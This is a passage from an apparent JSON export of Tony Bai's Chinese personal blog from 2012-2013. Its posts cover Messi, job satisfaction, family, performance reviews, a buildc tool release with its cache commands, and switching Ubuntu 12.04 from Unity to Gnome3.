一一揭晓，终于轮到FIFA金球奖了。心里真的有些紧张，我看的是新浪体育的文字直播，时钟已经指向凌晨三点，下面的球迷评论中有人打出“恭喜梅西获奖”的内容，稍后直播中显示梅西获得2012FIFA金球奖，巴萨官方微博也第一时间更新了梅西获奖的情况，心中石头顿然落地，随后一阵狂喜，躺在床上久久难寐。\u003c/p\u003e","title":"梅西，金球之王"},{"content":"职场上的朋友可能经历过以下两种截然不同的状态：\n（一）\n每天早晨起来都有一种强烈要上班工作的冲动；\n一到公司，立即感觉精力充沛，并希望尽快开始做事，不能浪费一分一秒；\n每天下班前回顾一天的工作时，都能感觉到收获和进步，并带着笑容下班；\n每天回到家里，暂时忘记工作，与家人共度良霄，养足精力；\n生活与工作保持一定距离，这始终让你与工作之间有美的感觉。\n（二）\n每天早晨一想到要上班，就愁云遮面，总想在床上多睡一会，拖延上班时间；\n一到公司，就精神萎靡，思维闭塞，浑浑噩噩；\n每天下班前回顾一天的工作时，毫无感觉，只是感觉忙乱中时间就流逝了；\n回到家里，却仍被工作压力驱使，埋头伏案，远离家人；\n生活和工作如稀泥一样搅和在一起，工作让你感到恐惧。\n千万不要觉得以上内容是我杜撰出来的，这是真切发生在你我身边的事实。同样是在工作，状态却为何能有如此天壤之别呢？不同的人给出的答案也许不同，而这里我要说工作幸福感使然：前者显然是工作幸福感富足的结果；而后者则是缺乏工作幸福感在作祟。\n俗话说“乐也一天，烦也一天”，每个人都希望自己每天都能快乐的活着。如果你目前正处于第二种状态或者说有向第二种状态转移的迹象，那是时候考虑如何调整一下自己了。恰逢新年伊始，这里我来说说如何提升工作幸福感，做一个善于驾驭工作的人，而不是被工作牵着鼻子走的人。\n以下观点来自本人亲身体会，不一定完全正确，仅供参考和讨论。\n* 选择可以产生幸福感的工作\n世上没有绝对地无法产生幸福感的工作，但对于大多数平常人来说，一些种类的工作的确无法带来幸福感，比如富士康生产线上的零件组装工种，实难想像在那种岗 位上如何产生幸福感，因此跳楼事件频发也就不足为奇了。我无法枚举出所有可以产生幸福感的工作种类，但至少程序员这份工作还是具备产生幸福感的属性的。虽 然我们中国程序员总是习惯自嘲地称自己为“码农”，可“码农”也有收获的幸福时刻啊。程序员这份工作还是需要有创造性的，主观因素对结果的影响比例还是蛮 大的；编码也被认为是一种匠艺，这说明其中有一定艺术的成分。有艺术，就会有美丑的评判。追求和收获美的代码是会让人感觉到幸福的。不过这个世界是现实和 残酷的，为了生存而选择了那些幸福感无几的工作是十分普遍的，当然这种社会问题不是本文所能解决的了的。\n* 做自己愿意做的事情\n在中国，公务员这种工作想必大家都会认为会产生幸福感。传统印象中，公务员是广义的“官”的现代叫法，而老百姓大脑中的“官”的形象无非是坐在办公室里抽 烟、喝茶、看报纸，这确是一份旱涝保收的工作，但坐在办公室无聊地度此一生是否是你真正愿意去做的事情呢？这只是一个生动的例子罢了，我要说明的是即便是 从事着可以产生幸福感的工作，也不见得就会有工作幸福感，还要看这个事情是否是你真的愿意去做的，是否真的是你感兴趣去做的，是否是真正全心投入去做的。 微观上来看，即便从事了愿意去做的工作，但涉及到具体的事情，也会有好恶之分。以程序员这个职业为例，也分为不同角色，你是愿意做Coding还是愿意做 tech manager；你是愿意做产品还是愿意做项目？时刻记住只有做自己愿意做的事情，幸福感才能眷顾到你。Steve Jobs的一句话教育了我们：“跟随你的内心”。\n* 明确的工作目标\n很多人在工作当中时常感觉空虚和迷茫，这显然会降低工作幸福感。反思一下这种感觉究竟来自什么？就我个人的体会来说，每当工作目标不明确时，我就会有这类 感觉。反之，明确的目标犹如大海上的灯塔，为你指明前进的方向；让你有的放矢；让你的付出充满了确定性，让你对预期更加有信心，它会让你的心中由衷产生一 种愉悦。\n* 工作成果有及时反馈\n就如小学生第二天看到作业本上老师的评语那样，我们也希望能尽快看到工作成果的反馈：正面的反馈给人以鼓舞；负面的反馈给人以警醒。反之，零反馈则让人气馁，失去了继续的动力，自然没有幸福感可言。\n* 挑战带来****幸福感的波峰\n在职场中，每天的情形不同，收获不同，体味到的工作幸福感的强弱就有不同。俗话说：有付出就有收获。付出的越多，一旦收获，得到的也就越多。因此只有那些有挑战的，值得让你付出更多的工作才能带来巨大的成就感，从而催生出幸福感的波峰。\n* 帮助他人解决工作中的问题\n“予人玫瑰，手有余香”，积极地帮助他人解决工作中的问题，会让你的工作幸福感油然而生。让你的工作幸福感弥漫在工作的环境当中，让这种氛围感染熏陶更多的人，以营造一个幸福的工作氛围，提升团队的整体工作幸福感。\n* 与志同道合的人一起工作\n看看你周围的同事，是否和你是一路人。“道不同不相为谋”，别花时间和心思在那些和你不对路的人的身上了，年纪也不小了，脑细胞也是有限的，吐沫星子也不 是白来的。那些通过一个眼神、一个手势就能知你意的人才是你真正的工作伙伴，和他们一起工作才能有幸福感。能选就选，能避就避吧。\n* 定期回顾，潜意识中进行自我肯定\n无论是否得到了上级或同事的反馈，定期的工作回顾和总结对保持工作幸福感总是大有裨益的，尤其是回顾过程在潜意识中的自我肯定会很大程度上提升你的工作幸福感。\n* 与幸福生活相互映衬\n中国人讲：“家和万事兴”。工作之外我们是离不开家庭生活的。我们要学会平衡，把握生活与工作的间距，学会让两者之间互相保持美感。幸福的工作下映衬的是幸福的生活，反之，在幸福生活的的映照下，工作幸福感也会显得更加强烈。工作和生活是相辅相成。\n_演喜剧的，不见得他每天的生活都是喜剧。_最近感觉工作幸福感有所流失，这直接促使了我进行了如上的反思。新年伊始，我也在自我调整中。\n","permalink":"https://tonybai.com/2013/01/04/my-opinion-on-improving-work-happiness/","summary":"\u003cp\u003e职场上的朋友可能经历过以下两种截然不同的状态：\u003c/p\u003e\n\u003cp\u003e（一）\u003cbr\u003e\n每天早晨起来都有一种强烈要上班工作的冲动；\u003cbr\u003e\n一到公司，立即感觉精力充沛，并希望尽快开始做事，不能浪费一分一秒；\u003cbr\u003e\n每天下班前回顾一天的工作时，都能感觉到收获和进步，并带着笑容下班；\u003cbr\u003e\n每天回到家里，暂时忘记工作，与家人共度良霄，养足精力；\u003cbr\u003e\n生活与工作保持一定距离，这始终让你与工作之间有美的感觉。\u003c/p\u003e","title":"说说工作幸福感"},{"content":"这篇文章发出来有些迟了，眼看2013年的第一天就将过去了，不过这里依然要祝福大家2013新年快乐！\n之所以“迟到”，是因为果果最近生病了。自从上周日凌晨到医院输液之后，今天已经是第四次带果果去医院了。不过小家伙儿今天表现十分勇敢，有史以来第一次 在医生扎针的时候表现的泰然自若，没有流出半滴眼泪。不过即便如此，几天的病症也让果果略显消瘦，食欲很差。作为父母的，的确是看在眼里，疼在心里。\n元旦在中国人眼中虽不比春节，但对大多数人来说，也是一家团圆的日子。平时也难得有时间像这样陪在果果身边，和果果一起玩耍，这次趁此“机会”，我们也静下心来好好陪陪果果。万事都要分两面去看么，难不成这是上天赐予我们的另一种“幸福”呢^_^。\n经过几天的治疗，果果的情况比之前要好上很多，至少高烧算是控制住了，虽然有时体温依然高于37度，但已无需服用退热药了，果果的精神头也大有了改观，在家里与正常时并无太大区别。假期还剩下两天，希望果果能尽快康复起来。\n经过这几天在医院和家两点一线之间的“折腾”，我也再次体会到了做父母的不易。心力、体力和脑力在这些天都消耗了多半，每次从医院回到家里，都会感觉十分疲惫。等到果果睡着后，便也倒床睡去。\n总之，2013伊始，少了些快乐，多了些磨砺，这让我更加成熟。否极泰来，相信一切都会变得好起来的！\n","permalink":"https://tonybai.com/2013/01/01/2013-happy-new-year/","summary":"\u003cp\u003e这篇文章发出来有些迟了，眼看2013年的第一天就将过去了，不过这里依然要\u003cstrong\u003e祝福大家2013新年快乐！\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e之所以“迟到”，是因为果果最近生病了。自从上周日凌晨到医院输液之后，今天已经是第四次带果果去医院了。不过小家伙儿今天表现十分勇敢，有史以来第一次 在医生扎针的时候表现的泰然自若，没有流出半滴眼泪。不过即便如此，几天的病症也让果果略显消瘦，食欲很差。作为父母的，的确是看在眼里，疼在心里。\u003c/p\u003e","title":"2013新年快乐"},{"content":"打开我的Google Reader，发现诸多博客达人的博客已经不再更新了，顿颇感遗憾。不过看到还有更多和我一样一直并快乐地写博客的朋友们，心头又是一番欣喜。\n如果你问我为何可以长期持续地将博客写下去，我会告诉你：这与我的博客观息息相关。\n人有三观：人生观、价值观和世界观。这三观是在你的成长过程中潜移默化地形成的，即便你自己无法表达出来，甚至没有意识到其存在，但这三观却真真切切地在 影响着你人生道路上的每个选择。这三观是用来决定一个人前进的大方向的，但在一些细微的事物上，人也是有“观”的，比如读书之人有读书观，写博客的人有自己的博客观。\n观，意为对事物的看法和认知。博客观就是一个人对博客的看法和认知，比如博客对自己有何种意义？是否该写博客？如何写博客？该写什么样的博客以及自己对博 客的定位等等。个人观点：博客观将直接影响博者的博客风格以及写博行为；反之，一个博者的博客观可以从其博客风格与写博行为反映出来。\n以我的博客为例。“一个程序员的心路历程”，这一副标题最初是从dreamhead的博客“仿效”过来的，但这个副标题却长期影响了我后续的博客内容和风 格。程序员，我的职业，这一职业脱离不开技术话题，因此这八年来我的博客肯定是以技术方面的内容为主；心路历程，多指成长经历以及在这个过程中的思考和感 悟。显然成长过程中不光光只有技术和工作，生活、家庭方方面面都会有涉及。虽然当初无心确定了这个副标题，但现在看来，它与我的博客目标却是无比弥合 – 编写一部持续且完整的人生履历，这就是我的博客观，也是我对我的博客的定位，这决定了我不会放弃，写博到底。\n在这样的博客观的指引下，我把每一篇博客文章都视为一种成长；将每一条来自评论中感谢都视为一种激励：能够给大家带来帮助，让我的心灵得到满足；将每一条来自评论中的建议、批评或纠错都视为一种教诲，这种强大的驱动力让我欲罢不能。\n也许写博初期有虚荣心在作祟，但现在我却是在谱写我的人生履历。我不追求这份履历有多美完美，也不求笔风有多么的华丽，但求源自内心的真实。\n博者无欲，乐在其中。欲将博客进行到底，请先树立远大宏伟的博客观吧。\n","permalink":"https://tonybai.com/2012/12/19/my-blog-outlook/","summary":"\u003cp\u003e打开我的\u003ca href=\"http://www.google.com/reader/\"\u003eGoogle Reader\u003c/a\u003e，发现诸多博客达人的博客已经不再更新了，顿颇感遗憾。不过看到还有更多和我一样一直并快乐地写博客的朋友们，心头又是一番欣喜。\u003c/p\u003e","title":"我的博客观"},{"content":"趁着世界末日尚未到来，赶紧将2012年总结一番，即便是末日也不能留遗憾不是^_^。\n2012年总体过得还算充实：\n*《七周七语言》终于出版了；\n* 写了近80篇Blog，虽离目标预期还有差距，但也给我带来了不小的精神愉悦；\n* 为《程序员》杂志写了两篇文章，虽然都是短文；\n* 读了30多本书，还有10多本尚未读完，不过年初制定的“扫存书”目标没能达成，因为依然不断地有大量的新书加入^_^；\n* 学习了一门编程语言Go（而不是年初确定的Clojure等）；\n* 将自己的一些关于工作方法、团队建设和管理的认知和实践总结了出来，算是一个阶段性的小结，内容包括绩效目标制定、绩效面谈、高效会议、写好Mail、个人时间管理、知识管理新认知、团队经营等诸多方面。也许后续还有补充。\n2012年在工作方面的表现略显平淡。恰应了那句古语：有心栽花花不活。年初和团队成员共同确定了今年的年度主题词为“收获”，但一年下来的结果 却是差强人意：我最重视的一个关键项目没能如期发布，可谓是今年之最大憾事。我的责任自然不能脱掉，主因在于我年初过于乐观的估计。至于在其他方 面即便有较大进展，也无法弥补这一遗憾给我带来的不快。\n2012年将buildc实际应用到了产品构建中，同时发现了诸多问题，也收到了许多同事的反馈。buildc也因此在持续演进，从0.1.4版本到 目前的0.2.1版本。近期正在酝酿0.3.x版本，这次改动较大，调整了很多当初的设计思路，与0.2.x版本并不兼容了。\n2012年在家庭方面自我感觉收获还是颇多的。从数字上看，年初确定的年度家庭目标80%都实现了，这些目标有对父母的、有对孩子的，也有对LP 的，这让我颇为欣慰啊。最让我欣喜的是看到了女儿果果的成长，尤其是其语言能力的提升，让我们从此不必再担心了。现在面对果果这样一个已经可以与 我进行语言交流的小家伙儿，心中总是有一种莫名的感动，感谢上天赐予我这个可爱的小家伙儿 ^_^。将心比心，现在真心感觉到父母对待子女可真是没有半点私心，都是全心全力的为儿女服务，所以每个人都更应该善待父母。今年下半年，母亲得了眼 病，做了一个小手术，我也请假回家照顾。平时和父母不在一个城市生活，方方面面无法顾及，甚感惭愧，这次回家让我心灵有了些许慰藉，也让我第一次有了尽孝道的感觉。以后我每年都会设定家庭目标，但今后的家庭目标实现难度都很大，尽力而为吧^_^。\n读书已然是生活中不可缺少的一部分了，但2012年似乎有些懒惰了。虽然读的书目也不少，但总感觉缺少些效率。\n过去的都过去了，2012虽有小成，但觉得进步有限。身旁的人与物太过熟悉稳定，人就会变得像温水中的那只青蛙。\n2013，期待能有些变化。\n","permalink":"https://tonybai.com/2012/12/18/my-summary-of-2012/","summary":"\u003cp\u003e趁着世界末日尚未到来，赶紧将2012年总结一番，即便是末日也不能留遗憾不是^_^。\u003c/p\u003e\n\u003cp\u003e2012年总体过得还算充实：\u003c/p\u003e\n\u003cp\u003e*《\u003ca href=\"http://tonybai.com/2012/05/08/translate-seven-languages-in-seven-weeks/\"\u003e七周七语言\u003c/a\u003e》终于出版了；\u003cbr\u003e\n* 写了近80篇Blog，虽离目标预期还有差距，但也给我带来了不小的精神愉悦；\u003cbr\u003e\n* 为《程序员》杂志写了\u003ca href=\"http://tonybai.com/2012/10/26/some-practice-on-improving-tech-preach/\"\u003e两篇文章\u003c/a\u003e，虽然都是短文；\u003cbr\u003e\n* 读了\u003ca href=\"http://book.douban.com/people/tony_bai/collect\"\u003e30多本书\u003c/a\u003e，还有\u003ca href=\"http://book.douban.com/people/tony_bai/do\"\u003e10多本\u003c/a\u003e尚未读完，不过年初制定的“扫存书”目标没能达成，因为依然不断地有大量的新书加入^_^；\u003cbr\u003e\n* 学习了一门编程语言\u003ca href=\"http://tonybai.com/tag/Go\"\u003eGo\u003c/a\u003e（而不是年初确定的\u003ca href=\"http://clojure.org/\"\u003eClojure\u003c/a\u003e等）；\u003cbr\u003e\n* 将自己的一些关于工作方法、团队建设和管理的认知和实践总结了出来，算是一个阶段性的小结，内容包括\u003ca href=\"http://tonybai.com/2012/11/17/several-important-factors-in-making-performance-goals/\"\u003e绩效目标制定\u003c/a\u003e、\u003ca href=\"http://tonybai.com/2012/12/13/some-opinions-about-performance-interview/\"\u003e绩效面谈\u003c/a\u003e、\u003ca href=\"http://tonybai.com/2012/12/03/how-to-organize-and-hold-meetings-efficiently/\"\u003e高效会议\u003c/a\u003e、\u003ca href=\"http://tonybai.com/2012/11/28/how-to-write-a-good-email/\"\u003e写好Mail\u003c/a\u003e、\u003ca href=\"http://tonybai.com/2012/11/23/some-experience-on-personal-time-management/\"\u003e个人时间管理\u003c/a\u003e、\u003ca href=\"http://tonybai.com/2012/11/04/the-amateur-way-of-knowledge-management/\"\u003e知识管理\u003c/a\u003e新认知、\u003ca href=\"http://tonybai.com/2012/11/01/some-experience-on-team-management/\"\u003e团队经营\u003c/a\u003e等诸多方面。也许后续还有补充。\u003c/p\u003e","title":"2012小结"},{"content":"《程序员》杂志的“一分钟先生”专栏之前曾约稿，有两个主题可供选择：制定绩效目标或如何进行绩效面谈。本打算两个主题都写写的，但碍于时间有限，最终只写了一个主题：《制定绩效目标的几个重要因素》。进入12月，想必各个公司或组织都会开展年终绩效考核，我这里也不例外。\n关于绩效面谈，印象中组织里似乎没人告诉我应该如何去做。很久以前是小兵的时候没有过多考虑，成为项目负责人后也没有接受过什么系统的培训，都是按照自己的思路去做；现在是诸多项目负责人的负责人了，是该好好系统地考量一下这方面事情的时候了。考量后的结果还可以分享给下面的项目负责人，也算是一种“辅导”吧。OK，下面就唠叨几句^_^。\n一、目的 无论做什么事情，都要先弄清做事的目的，绩效面谈也不例外。\n* 谋改进\n绩效面谈一个重要的目的就是谋改进，求提高。对于一个良性的组织来说，组织自然希望组织内的所有人在能力和效率上能持续提高，这样才具备获得最大收益的基础条件。因此，组织采用各种方法策略为内部成员设定绩效计划和目标、定期辅导、监督执行，而绩效面谈则是整个绩效周期中的阶段性总结的环节，它对员工在下一绩效周期的表现有着至关重要的意义。\n* 定成绩\n绩效面谈是对当前绩效周期的阶段性总结，自然不能脱离开这样一个话题：员工在这个周期的成绩如何？员工想知道自己忙活了大半年到底成绩如何，组织也想得到员工的绩效成绩来作为一些职位、角色和薪酬调整的依据，甚至是辞退员工的依据。\n* 增聚力\n绩效面谈，其实也是一次上级与下级的正式交流。员工的内心中都是渴望上级能时常关注和评定自己的工作。想必大多人都能体会到这点：每次与上级面谈后都能感受到自己的工作努力没有白费以及自己的工作对组织的重要性，感觉自己对后续的工作更有信心了。显然这种面谈间接地增加了员工的团队凝聚力。\n二、要素 绩效面谈并无固定模式，但良好的绩效面谈应该具备以下两点要素。\n* 镜子\n好的绩效面谈应该是一面镜子，可以让员工看到一个真实的自己，而不仅仅是员工自我认知中的自己；这面镜子让员工发现自我认知中的自己与他人眼中的自己的差异，认识和强化公认的优势，同时也能看到自己的不足之处。\n* 号角\n前面说过绩效面谈的目的之一就是谋改进，因此一次好的绩效面谈就应该像是一支吹响的号角，为下一个绩效周期的工作进行着“战前动员”。号角声在员工内心中长久反复激荡，激励着员工持续向前，不断改进。\n三、禁忌 良好有效的绩效面谈同样有一些“禁忌”要牢记，否则会对面谈的效果产生较大负面影响。\n* 忌“无准备之仗”\n不要将绩效面谈做成“突发事件”、“无准备之仗”，比如经理A在事前没有任何征兆的情况下来到员工B工位前，对B说：“走，我们到会议室做绩效面谈”。这种绩效面谈必然不会取得良好的效果，至少员工B没有任何思想和心理准备，面谈过程中无法真实和全面的表达出自己的观点和思想。\n绩效面谈前，上级和员工都是要做好精心准备的。上级自己要收集好面谈对象的相关工作数据，整理好面谈思路，做到思路清晰。上级需告知员工做绩效面谈准备，并给予充分的准备时间，甚至还可以提示员工该做哪些方面的准备。员工则要针对自己在绩效周期的表现做些总结，对自己做一次重新认知，整理对团队或组织的意见和建议，明确自己的面谈思路；这样做双方才能在面谈过程中做到有的放矢。\n* 忌“批斗会”\n绩效面谈为的是促进个人改进，团队改进，组织改进；无论如何，不能将面谈变成“批斗会”，即便是对方有再多问题和不足。人家都辛苦这么长时间了，到头来还被劈头盖脸的一顿批评，换成谁心里能不难受，那后续还能有好心情工作了么。即便是要劝退的对象，也只需阐述事实和数据就好。总之，面谈中要尽量建立正面的和鼓励的气氛。\n* 忌“一言堂”\n很多绩效变谈最终演化为上级一人的“高谈阔论”，下属只有听的份儿了。这种形式的面谈实难达到预期之效果。上级更应学会倾听员工内心的真实声音，与员工充分互动，记录并快速分析，给予员工中肯的建议。对于无法立即决策的事情，告知员工后续答复。\n* 忌随意承诺\n对于绩效面谈过程中员工提出的建议和意见或是一些需求，上级应视实际情况给予答复，不能随意做承诺。绩效面谈的过程本身也是上下级就这一活动建立信任的过程。如果上级给下级随意承诺一些无法办得到的事情，那么久而久之，员工将对绩效面谈失去兴趣，失去信心，也就不会再重视这一活动，即便进行，也是敷衍了事，走个过场而已。也就是说上级的随意承诺摧毁了绩效面谈在员工心中的地位，员工也会对上级失去信任。\n绩效面谈还有一些细节需要注意，比如控制面谈时长、绩效面谈记录以书面形式发送给下级确认等。\n以上就是我关于绩效面谈的一些拙见。\n","permalink":"https://tonybai.com/2012/12/13/some-opinions-about-performance-interview/","summary":"\u003cp\u003e《程序员》杂志的“一分钟先生”专栏之前曾约稿，有两个主题可供选择：制定绩效目标或如何进行绩效面谈。本打算两个主题都写写的，但碍于时间有限，最终只写了一个主题：《\u003ca href=\"http://tonybai.com/2012/11/17/several-important-factors-in-making-performance-goals/\"\u003e制定绩效目标的几个重要因素\u003c/a\u003e》。进入12月，想必各个公司或组织都会开展年终绩效考核，我这里也不例外。\u003c/p\u003e","title":"关于绩效面谈的一些拙见"},{"content":"话说上一场欧冠主场对阵本菲卡，梅西下半场替补登场，但在比赛结束前受伤离场，那真是一个叫梅西迷们伤心的日子，梅西在记录面前倒下了。梅西本希望与主场 球迷分享打破世界纪录的快乐，但事与愿违。这正应验了中国那句俗话：“有心栽花花不开，无心插柳柳成荫”。赛后，有关梅西的伤势报告有诸多版本，直到昨天 梅西进入客战贝蒂斯大名单，球迷们的心才真正落下：梅西的确伤的不重！\n相信所有巴萨和梅西的球迷在今晨巴萨客场对贝蒂斯的比赛之前都会以梅西的健康为重，甚至是希望梅西能够在场下休息，避免伤势加重。不过梅西就是梅西，依旧是那个以踢球为最大快乐的精灵，在队医的允许下，梅西登场了。\n结果相信大家都已经知道了：梅西在队友的帮助下帮助巴萨近四年客场首次战胜皇家贝蒂斯，顺便轻描淡写地打破了德国轰炸机盖德穆勒的自然年进球世界记录，暂时将记录定格在86个进球。作为巴萨和梅西的球迷，在这样一个日子里，真是不吐不快啊，遂以上述简短文字以纪念之！\n梅西，足球新王\n梅西，早已成为我心目中的世界足球新王，并且我们的新球王还不到26岁。这是巴萨、阿根廷以及梅西的球迷的福音，期待在接下来的若干年(越长越好)中梅西球王能给我们带来更多神奇的和超越的表现，我们一起来见证和欣赏吧。\n","permalink":"https://tonybai.com/2012/12/10/leomessi-the-new-king-of-soccer/","summary":"\u003cp\u003e话说上一场欧冠主场对阵本菲卡，\u003ca href=\"http://en.wikipedia.org/wiki/Lionel_Messi\"\u003e梅西\u003c/a\u003e下半场替补登场，但在比赛结束前受伤离场，那真是一个叫梅西迷们伤心的日子，梅西在记录面前倒下了。梅西本希望与主场 球迷分享打破世界纪录的快乐，但事与愿违。这正应验了中国那句俗话：“有心栽花花不开，无心插柳柳成荫”。赛后，有关梅西的伤势报告有诸多版本，直到昨天 梅西进入客战贝蒂斯大名单，球迷们的心才真正落下：梅西的确伤的不重！\u003c/p\u003e","title":"梅西，足球新王"},{"content":"buildc 0.2.1版本是一个bugfix版本，修正了两个重要问题。\n* 修正执行buildc pack –cmode=32-bit时无法创建32位安装包的问题\n之前的buildc pack命令在打包安装程序时忽略了–cmode这个选项，这样即便传入32-bit这个参数，打出的安装包中的应用程序依旧是64位编译的。这次修正了这个问题，让buildc真正支持打32位程序的安装包。\n* 修正buildc cache相关命令与cmode选项结合的问题\n其实这是一个因当初设计考虑不周而遗留下来的问题。最初考虑buildc在一个Workplace下面要么只管理64-bit的库，要么只管理 32-bit的库，没有考虑支持两者都cache以及两者可分别管理。而现实开发中，我们的开发人员在自己的workplace下既有64位程序，也有 32位程序，这样在用到buildc时反倒比较麻烦，因此这次将buildc cache的管理命令与–cmode选项结合，做了新的定义：\n– buildc cache init ： 根据.buildc.rc初始cache本地库，既初始下载64-bit库，也下载32-bit库；\n– buildc cache init –cmode=64-bit : 根据.buildc.rc初始cache本地库，只初始下载64-bit库；\n– buildc cache init –cmode=32-bit : 根据.buildc.rc初始cache本地库，只初始下载32-bit库；\n– buildc cache update ：根据.buildc.rc更新本地cache库，既更新64-bit库，也更新32-bit库；\n– buildc cache update –cmode=64-bit：根据.buildc.rc更新本地cache库，只更新64-bit库；\n– buildc cache update –cmode=32-bit：根据.buildc.rc更新本地cache库，只更新32-bit库；\n– buildc cache upgrade ：根据最新变更的.buildc.rc升级本地cache库，既升级64-bit库，也升级32-bit库；\n– buildc cache upgrade –cmode=64-bit：根据最新变更的.buildc.rc升级本地cache库，只升级64-bit库；\n– buildc cache upgrade –cmode=32-bit：根据最新变更的.buildc.rc升级本地cache库，只升级32-bit库；\n– buildc cache remove ：根据.buildc.rc配置，删除本地cache库，既删除64-bit库，也删除32-bit库；\n– buildc cache remove –cmode=64-bit：根据.buildc.rc配置，删除本地cache库，只删除64-bit库；\n– buildc cache remove –cmode=32-bit：根据.buildc.rc配置，删除本地cache库，只删除32-bit库。\n","permalink":"https://tonybai.com/2012/12/06/buildc-0-2-1-release/","summary":"\u003cp\u003e\u003ca href=\"http://buildc.googlecode.com/files/buildc-0.2.1.tar.gz\"\u003ebuildc 0.2.1版本\u003c/a\u003e是一个bugfix版本，修正了两个重要问题。\u003c/p\u003e\n\u003cp\u003e* 修正执行buildc pack –cmode=32-bit时无法创建32位安装包的问题\u003c/p\u003e\n\u003cp\u003e之前的buildc pack命令在打包安装程序时忽略了–cmode这个选项，这样即便传入32-bit这个参数，打出的安装包中的应用程序依旧是64位编译的。这次修正了这个问题，让buildc真正支持打32位程序的安装包。\u003c/p\u003e","title":"buildc 0.2.1版本发布"},{"content":"Ubuntu 12.04已经体验一天多了，Unity还是用的不大习惯，左侧的程序启动栏感觉还是别扭，以前用windows的时候就不喜欢将任务栏放在左侧或右侧； 应用窗口的菜单栏融合到桌面顶端也没给我太多惊喜；总而言之，给自己找几个换回Gome的理由还是很容易的^_^。况且Gnome也发生了巨变， 由传统的Gnome2更新到了全新的Gnome3，正好我也想体验一下Gnome3，于是继续折腾。\nUbuntu 12.04.1官方源里就有Gnome3，因此只需执行sudo apt-get install gnome-shell即可安装Gnome3。Gnome3还有一个高级配置工具，可以执行sudo apt-get install gnome-tweak-tool安装。安装后注销，在登录窗口选择Gnome桌面即可。\nGnome3默认桌面十分简洁，除了左上角的“活动”之外，别无它物。据说Unity也是基于Gnome开发的，只是比Gnome3多了一个左侧 程序启动栏（虽然也可以隐藏，但试过，感觉十分不灵敏）。我并未删除Unity，主要是担心删除后可能会给系统带来不稳定性。\n点击“活动”后展现的界面我还是蛮喜欢的：中间是所有打开的窗口缩略图，左边是应用收藏夹，与Unity左侧的程序启动栏类似。右侧是半隐藏的 “工作区”栏。最下方是隐藏了主界面的程序的图标栏，该栏是自动隐藏的，将鼠标指针放到屏幕右下角时，该栏会出现。另外通过Win快捷键可以直接 打开“活动”主界面，十分方便。“活动”界面中的搜索框还可以作为程序启动器来用。\nGnome3默认取消了窗口中的最大、最小化按钮，不过利用gnome-tweak-tool这个高级配置工具可以恢复最大、最小化按钮：打开 tweak工具，找到shell -\u0026gt; arrangement of buttons on the titlebar，选择all即可。\nGnome3的切换窗口快捷键Alt + Tab将相同程序的不同窗口叠加在一起，这个我不甚喜欢，还得动用方向键选择，我更喜欢所有窗口不分类别的平铺。对于处理这种折叠窗口的情况，我更喜欢用 Win键打开“活动”界面，然后在上面选择我需要的窗口。\nGnome3窗口最大化的快捷键为“ctrl + win + 上箭头”，但我还没发现最小化的快捷键。\nGnome3的文件管理器左侧的快捷方式边栏似乎不能像Gnome2那样自定义快捷方式，这样无法快速访问常用的一些文件夹。\nGnome3的体验暂且就是这些，后续还待慢慢挖掘。\n另外这两天还针对Ubuntu 12.04做了一些改造：\n* 用Clipit替换Parcellite\n我的Parcellite启动后，无法在提示栏显示出小图标，无法对其进行配置，也就无法做剪切板的同步。后安装了Clipit，它是 Parcellite的一个分支，功能与Parcellite一致。用apt-get install即可。\n* 安装OpenJDK\n本想安装Oracle提供的JDK的，但无奈从Oracle提供的链接下载太慢，只能以OpenJDK替代。据说Oracle后续JDK也是基于 OpenJDK的，只是额外加上了一些私有代码。\nsudo apt-get install openjdk-7-jre openjdk-7-jdk\n$ java -version\njava version \u0026ldquo;1.7.0_09\u0026rdquo;\nOpenJDK Runtime Environment (IcedTea7 2.3.3) (7u9-2.3.3-0ubuntu1~12.04.1)\nOpenJDK Client VM (build 23.2-b09, mixed mode, sharing)\n* SunPinyin配置\nSunPinYin默认不支持逗号和句号键翻页，执行/usr/lib/ibus-sunpinyin/ibus-setup- sunpinyin可以重新配置翻页键；同理用/usr/lib/ibus-pinyin/ibus-setup-pinyin也可以对默认携带 的拼音输入法进行设置。\n","permalink":"https://tonybai.com/2012/12/06/replace-unity-with-gnome3/","summary":"\u003cp\u003e\u003ca href=\"http://tonybai.com/2012/12/04/upgrade-ubuntu-to-1204-lts/\"\u003eUbuntu 12.04\u003c/a\u003e已经体验一天多了，Unity还是用的不大习惯，左侧的程序启动栏感觉还是别扭，以前用windows的时候就不喜欢将任务栏放在左侧或右侧； 应用窗口的菜单栏融合到桌面顶端也没给我太多惊喜；总而言之，给自己找几个换回\u003ca href=\"http://www.gnome.org/\"\u003eGome\u003c/a\u003e的理由还是很容易的^_^。况且Gnome也发生了巨变， 由传统的Gnome2更新到了全新的Gnome3，正好我也想体验一下Gnome3，于是继续折腾。\u003c/p\u003e","title":"将Unity换成Gnome3"},{"content":"Ubuntu 10.04 LTS已经伴随我两年了，经过我这么长时间的折腾，Ubuntu早已不堪重负^_^。在未升级前，Ubuntu 10.04已经表现出诸多问题：\n- 在家中连接无线路由器时间漫长，且经常掉线；\n- 在公司用有线网络经常掉线；\n- 由于反复安装软件，系统中残留较多垃圾数据；\n- Ubuntu 10.04官方源中的软件版本都有些低，很多软件手工安装高版本比较费力；\n另外原先与Ubuntu 10.04共存的Windows 7系统已经早在大半年前就罢工了，无法引导进入，原因不明，我也懒得去fix，平时根本也用不到Windows系统。因此这次升级系统还有另外一个目的， 那就是将Windows 7的残余数据彻底清除出我的本本。\n虽然Ubuntu最新版本是刚刚发布不久的12.10，但本着只用LTS版的原则，这次打算升级12.04 LTS，目前的最新版本是12.04.1。\n原以为我的老旧的ThinkPad X60可以安装64位的12.04，但在安装时引导程序提示X60的CPU不是X86-64类型的，而是一颗双核的i686 CPU。恼火啊！下载和刻录一个iso容易吗，尤其在公司这个代理网络里！无奈只能重新折腾，重新下载和刻录32位的Ubuntu 12.04.1。\n安装方法这里不赘述了。这次在安装时我使用了安装界面上可选的自定义安装分区的方法将12.04安装到了原Windows 7的分区中了，但安装结束重启后，Grub2的引导初始页面居然依旧显示以前的系统菜单，并且菜单中并没有我新装的12.04菜单项。重新安装，这次格掉 了原Ubuntu 10.04的安装分区。经过漫长等待后重启机器，映入眼帘的是\u0026quot;grub rescue\u0026gt;\u0026quot;，引导再次失败，显而易见，Grub2依旧没有找到正确的引导分区。\nGoogle了一把，原来是我对Grub2的引导原理理解还不够，Grub2是两阶段引导。直接格式化原有分区并安装新系统并未重新刷新 